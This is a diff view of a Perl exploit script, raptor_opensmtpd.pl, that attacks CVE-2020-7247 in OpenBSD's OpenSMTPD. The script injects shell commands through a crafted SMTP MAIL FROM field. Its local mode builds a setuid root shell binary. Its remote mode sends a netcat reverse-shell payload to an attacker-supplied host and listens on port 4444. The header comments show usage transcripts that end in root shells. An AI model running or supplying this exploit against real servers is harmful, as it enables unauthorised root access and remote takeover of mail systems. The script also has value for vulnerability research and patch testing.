■ ■ ■ ■ ■ ■
openbsd/raptor_opensmtpd.pl
| 1 | + | #!/usr/bin/perl |
| 2 | + | |
| 3 | + | # |
| 4 | + | # raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD |
| 5 | + | # Copyright (c) 2020 Marco Ivaldi <[email protected]> |
| 6 | + | # |
| 7 | + | # smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and |
| 8 | + | # other products, allows remote attackers to execute arbitrary commands as root |
| 9 | + | # via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL |
| 10 | + | # FROM field. This affects the "uncommented" default configuration. The issue |
| 11 | + | # exists because of an incorrect return value upon failure of input validation |
| 12 | + | # (CVE-2020-7247). |
| 13 | + | # |
| 14 | + | # "Wow. I feel all butterflies in my tummy that bugs like this still exist. |
| 15 | + | # That's awesome :)" -- skyper |
| 16 | + | # |
| 17 | + | # This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to |
| 18 | + | # root on OpenBSD in the default configuration, or execute remote commands as |
| 19 | + | # root (only in OpenSMTPD "uncommented" default configuration). |
| 20 | + | # |
| 21 | + | # See also: |
| 22 | + | # https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt |
| 23 | + | # https://www.kb.cert.org/vuls/id/390745/ |
| 24 | + | # https://www.opensmtpd.org/security.html |
| 25 | + | # |
| 26 | + | # Usage (LPE): |
| 27 | + | # phish$ uname -a |
| 28 | + | # OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64 |
| 29 | + | # phish$ id |
| 30 | + | # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel) |
| 31 | + | # phish$ ./raptor_opensmtpd.pl LPE |
| 32 | + | # [...] |
| 33 | + | # Payload sent, please wait 5 seconds... |
| 34 | + | # -rwsrwxrwx 1 root wheel 12432 Feb 1 21:20 /usr/local/bin/pwned |
| 35 | + | # phish# id |
| 36 | + | # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) |
| 37 | + | # |
| 38 | + | # Usage (RCE): |
| 39 | + | # raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org |
| 40 | + | # [...] |
| 41 | + | # Payload sent, please wait 5 seconds... |
| 42 | + | # /bin/sh: No controlling tty (open /dev/tty: Device not configured) |
| 43 | + | # /bin/sh: Can't find tty file descriptor |
| 44 | + | # /bin/sh: warning: won't have full job control |
| 45 | + | # phish# id |
| 46 | + | # uid=0(root) gid=0(wheel) groups=0(wheel) |
| 47 | + | # |
| 48 | + | # Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1): |
| 49 | + | # OpenBSD 6.6 [tested] |
| 50 | + | # OpenBSD 6.5 [untested] |
| 51 | + | # OpenBSD 6.4 [untested] |
| 52 | + | # Other platforms (including major Linux distributions) [untested] |
| 53 | + | # |
| 54 | + | |
| 55 | + | use IO::Socket::INET; |
| 56 | + | |
| 57 | + | print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n"; |
| 58 | + | print "Copyright (c) 2020 Marco Ivaldi <raptor\@0xdeadbeef.info>\n\n"; |
| 59 | + | |
| 60 | + | $usage = "Usage:\n". |
| 61 | + | "$0 LPE\n". |
| 62 | + | "$0 RCE <remote_host> <local_host> [<domain>]\n"; |
| 63 | + | $lport = 4444; |
| 64 | + | |
| 65 | + | ($type, $rhost, $lhost, $domain) = @ARGV; |
| 66 | + | die $usage if (($type ne "LPE") && ($type ne "RCE")); |
| 67 | + | |
| 68 | + | # Prepare the payload |
| 69 | + | if ($type eq "LPE") { # LPE |
| 70 | + | $payload = "cp /bin/sh /usr/local/bin/pwned\n". |
| 71 | + | "echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n". |
| 72 | + | "gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned"; |
| 73 | + | $rhost = "127.0.0.1"; |
| 74 | + | } else { # RCE |
| 75 | + | die $usage if ((not defined $rhost) || (not defined $lhost)); |
| 76 | + | $payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|". |
| 77 | + | "nc $lhost $lport >/tmp/f"; |
| 78 | + | } |
| 79 | + | |
| 80 | + | # Open SMTP connection |
| 81 | + | $| = 1; |
| 82 | + | $s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n"; |
| 83 | + | |
| 84 | + | # Read SMTP banner |
| 85 | + | $r = <$s>; |
| 86 | + | print "< $r"; |
| 87 | + | die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/); |
| 88 | + | |
| 89 | + | # Send HELO |
| 90 | + | $w = "HELO fnord"; |
| 91 | + | print "> $w\n"; |
| 92 | + | print $s "$w\n"; |
| 93 | + | $r = <$s>; |
| 94 | + | print "< $r"; |
| 95 | + | die "Error: expected 250\n" if ($r !~ /^250/); |
| 96 | + | |
| 97 | + | # Send evil MAIL FROM |
| 98 | + | $w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>"; |
| 99 | + | print "> $w\n"; |
| 100 | + | print $s "$w\n"; |
| 101 | + | $r = <$s>; |
| 102 | + | print "< $r"; |
| 103 | + | die "Error: expected 250\n" if ($r !~ /^250/); |
| 104 | + | |
| 105 | + | # Send RCPT TO |
| 106 | + | if (not defined $domain) { |
| 107 | + | $rcpt = "<root>"; |
| 108 | + | } else { |
| 109 | + | $rcpt = "<root\@$domain>"; |
| 110 | + | } |
| 111 | + | $w = "RCPT TO:$rcpt"; |
| 112 | + | print "> $w\n"; |
| 113 | + | print $s "$w\n"; |
| 114 | + | $r = <$s>; |
| 115 | + | print "< $r"; |
| 116 | + | die "Error: expected 250\n" if ($r !~ /^250/); |
| 117 | + | |
| 118 | + | # Send payload in DATA |
| 119 | + | $w = "DATA"; |
| 120 | + | print "> $w\n"; |
| 121 | + | print $s "$w\n"; |
| 122 | + | $r = <$s>; |
| 123 | + | print "< $r"; |
| 124 | + | $w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n."; |
| 125 | + | #print "> $w\n"; # uncomment for debugging |
| 126 | + | print $s "$w\n"; |
| 127 | + | $r = <$s>; |
| 128 | + | print "< $r"; |
| 129 | + | die "Error: expected 250\n" if ($r !~ /^250/); |
| 130 | + | |
| 131 | + | # Close SMTP connection |
| 132 | + | $s->close(); |
| 133 | + | print "\nPayload sent, please wait 5 seconds...\n"; |
| 134 | + | |
| 135 | + | # Got root? |
| 136 | + | if ($type eq "LPE") { # LPE |
| 137 | + | sleep 5; |
| 138 | + | print `ls -l /usr/local/bin/pwned`; |
| 139 | + | exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n"; |
| 140 | + | } else { # RCE |
| 141 | + | exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; |
| 142 | + | } |
| 143 | + | |